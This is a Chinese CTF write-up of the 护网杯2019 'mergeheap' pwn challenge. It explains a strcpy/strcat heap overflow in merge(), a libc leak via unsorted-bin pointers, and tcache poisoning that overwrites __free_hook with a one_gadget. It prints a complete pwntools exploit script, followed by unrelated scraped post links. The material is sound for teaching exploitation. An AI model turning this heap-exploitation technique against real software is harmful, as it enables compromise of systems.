护网杯2019 mergeheap --pwn
护网 又是签到 一天
这道题一开始 不懂得如何泄露 libc 信息,就蒙了 后来群里师傅也是刚刚好 做出 到这里 我就接着做了 。
先看下保护,发现 全开了

然后 就看下流程

大概 就是添加 chunk show 合并两个chunk
可利用的 洞就是
int merge()
{
int v1; // ST1C_4
signed int i; // [rsp+8h] [rbp-18h]
int index1; // [rsp+Ch] [rbp-14h]
int index2; // [rsp+10h] [rbp-10h] for ( i = ; i <= && ptr_array[i]; ++i )
;
if ( i > )
return puts("full");
printf("idx1:");
index1 = sub_B8B();
if ( index1 < || index1 > || !ptr_array[index1] )
return puts("invalid");
printf("idx2:");
index2 = sub_B8B();
if ( index2 < || index2 > || !ptr_array[index2] )
return puts("invalid");
v1 = size_array[index1] + size_array[index2];
ptr_array[i] = malloc(v1);
strcpy((char *)ptr_array[i], (const char *)ptr_array[index1]);
strcat((char *)ptr_array[i], (const char *)ptr_array[index2]);
size_array[i] = v1;
return puts("Done");
}
前面的strcpy和strcat的时候只有遇到0才停止复制 所以在merge 的时候 会有可能 把下一chunk的size 复制过来 然后溢出修改了 下一个chunk的 size
所以可以利用这点去 溢出,然后构建好payload ,然后 merge 再 free 再malloc的时候写到 一个unsortbin的pre_size 和 size 这样 在show的时候就是连带着unsortbin的fd输出了

我看 了另一个师傅的 wp
也发现了 另一种 泄露的 方面 那个简单 而且不麻烦

这个 就是 填满了 tcache 再分配了 一个unsortbin的 chunk 然后free 就是在fd 和bk上写入了main_arena 的上地址,然后 再mallo回来的时候 把前面的 fd写满 就能 泄露了
剩下就的 获取任意写的能力了 那 其实也是跟第一种 leak 的方法一样的 操作
就是 在 merge 分配到的 chunk下面有 tacahe中的 bin ,但是要在tacache中要有两个 这样可以形成链式,然后就可以修改前面的size 在free 再malloc 在malloc的时候 修改fd的内容 这样就能任意地址malloc了 再malloc 到 malloc_hook 或者 free_hook 就样就能getshell了


修改之后

malloc 一次

这下再malloc 就ok了
下面贴出 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from pwnpwnpwn import *
from pwn import *
context.log_level = 'debug'
host = "127.0.0.1"
port = 8888 r = remote(host,port)
e = ELF('./mergeheap')
libc = ELF('./libc-2.27.so')
def add(size, content):
r.recvuntil(">>")
r.sendline(str(1))
r.recvuntil("len:")
r.sendline(str(size))
r.recvuntil("content:")
r.sendline(content) def dele(idx):
r.recvuntil(">>")
r.sendline(str(3))
r.recvuntil("idx:")
r.sendline(str(idx)) def show(idx):
r.recvuntil(">>")
r.sendline(str(2))
r.recvuntil("idx:")
r.sendline(str(idx)) def merge(idx1, idx2):
r.recvuntil(">>")
r.sendline(str(4))
r.recvuntil("idx1:")
r.sendline(str(idx1))
r.recvuntil("idx2:")
r.sendline(str(idx2)) puts_got = e.got['puts']
log.info('puts_got:0x%x'%puts_got)
add(0x30, 'a'*0x30) #
add(0x38, 'b'*0x38) #
add(0x100,'C'*0x10) #
add(0x400, 'c'*0x10) #
add(0x200, 'd'*0x10) #
add(0x68, 'e'*0x68) #
add(0x20,'')#
add(0x20,'')#
add(0x20,'')#
add(0x20,'')#
dele(7)
dele(8)
merge(3,4)
add(0xa8,'B'*0x68)
dele(7)
dele(5)
merge(0,1)
add(0x30,'a'*0x10)
dele(6)
add(0x100,'a'*0xff+'Q')
show(6)
r.recvuntil("Q")
leak = u64(r.recvuntil("\n",drop = True).ljust(8,'\x00'))
libc_addr = leak -0x3ebca0
log.info('libc: 0x%x'%libc_addr)
dele(6)
target = libc_addr + libc.symbols['__free_hook']-0x13
onegae = libc_addr + 0x4f322
log.info('onegae: 0x%x'%onegae)
add(0x100,'a'*0x60+p64(target)+p64(0))
add(0x20,'')
add(0x20,'a'*0x13+p64(onegae))
dele(0)
r.interactive()
护网杯2019 mergeheap --pwn的更多相关文章
- 2019护网杯baby_forensic
题目名称:baby_forensic题目描述:can you catch the flag?附件:“data.7z” 2019护网杯初赛的一道取证题,比赛时没做出来,赛后又研究了一下. 获取profi ...
- 护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~
护网杯预选赛 WP转载自:https://qingchenldl.github.io/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFWP-BitPwn/#more WEB ...
- [原题复现]2018护网杯(WEB)easy_tornado(模板注入)
简介 原题复现: 考察知识点:模板注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- buu[护网杯 2018]easy_tornado
[护网杯 2018]easy_tornado 1.看看题目给了我们三个文件: /flag.txt url=?filename=/flag.txt&filehash=98c6aac4fbecf1 ...
- 护网杯 task_shoppingCart 记录
前言 相关题目位于 https://gitee.com/hac425/blog_data/tree/master/hwb task_shoppingCart 漏洞位于 00BD9 用户输入 idx 然 ...
- 护网杯 three hit 复现(is_numeric引发的二次注入)
1.题目源码 https://github.com/ZhangAiQiang/three-hit 题目并不真的是当时源码,是我根据做法自己写的,虽然代码烂,但是还好能达到复现的目的 ,兄弟们star一 ...
- 2018护网杯-easy_laravel 复现
题目docker环境: https://github.com/sco4x0/huwangbei2018_easy_laravel git clone下来直接composer up -d 运行即可,可以 ...
随机推荐
- Leetcode(8)字符串转换整数
Leetcode(8)字符串转换整数 [题目表述]: 请你来实现一个 atoi 函数,使其能将字符串转换成整数. 首先,该函数会根据需要丢弃无用的开头空格字符,直到寻找到第一个非空格的字符为止. 当我 ...
- 算法随笔-二叉树遍历的N种姿势
最近在练习用Python刷算法,leetcode上刷了快300题.一开始怀疑自己根本不会写代码,现在觉得会写一点点了,痛苦又充实的刷题历程.对我这种半路出家的人而言,收获真的很大. 今天就从二叉树遍历 ...
- Java基础(三十四)String、StringBuffer类和数据缓冲区Buffer类
一.String类 1.创建字符串对象 创建字符串对象有两种方法:直接用“=”或者使用“new String(...)” String aStr = "TMZ"; String b ...
- react框架安装和使用
react 其实react跟vue差不多, 区别:vue- 双向数据绑定, react 单向数据绑定. 中文文档:https://react.docschina.org/ 第一步:安装方式,不能直 ...
- JS设置和获取盒模型的宽和高
JS设置和获取盒模型的宽和高 dom.style.width/height:只能取出内联样式的宽度和高度 dom.currentStyle.width/height:获取即时的计算的样式,但是只有IE ...
- Codeforces Round #595 (Div. 3)D1D2 贪心 STL
一道用STL的贪心,正好可以用来学习使用STL库 题目大意:给出n条可以内含,相交,分离的线段,如果重叠条数超过k次则为坏点,n,k<2e5 所以我们贪心的想我们从左往右遍历,如果重合部分条数超 ...
- .NET Core 又一杀器! Web Blazor框架横空出世!
多年来,Javascript(及其子框架)已在浏览器中运行DOM(文档对象模型),并且掌握了脚本知识才能真正操作客户端UI.大约2年前,所有这些都随着Web Assembly的引入而发生了变化-Web ...
- Windows包管理器
Windows包管理器 Scoop 参考 安装命令 set-executionpolicy remotesigned -scope currentuser #用powershell执行 iex (ne ...
- Pyinstaller打包scrapy
环境 Windows7 Python3.65 scrapy1.74 PyInstaller3.5 创建打包脚本 在与scrapy.cfg同路径创建start.py # -*- coding: utf- ...
- [考试反思]1006csp-s模拟测试62:隔断
本来说好的好一场烂一场. 那样的日子结束了,连着烂了两场...幸亏T3傻逼了救我一命不算太惨... T1树上的特殊性质会做但是没有继续想下去就死在错贪心上了还没有过那个点... T2迭代至稳定被我错误 ...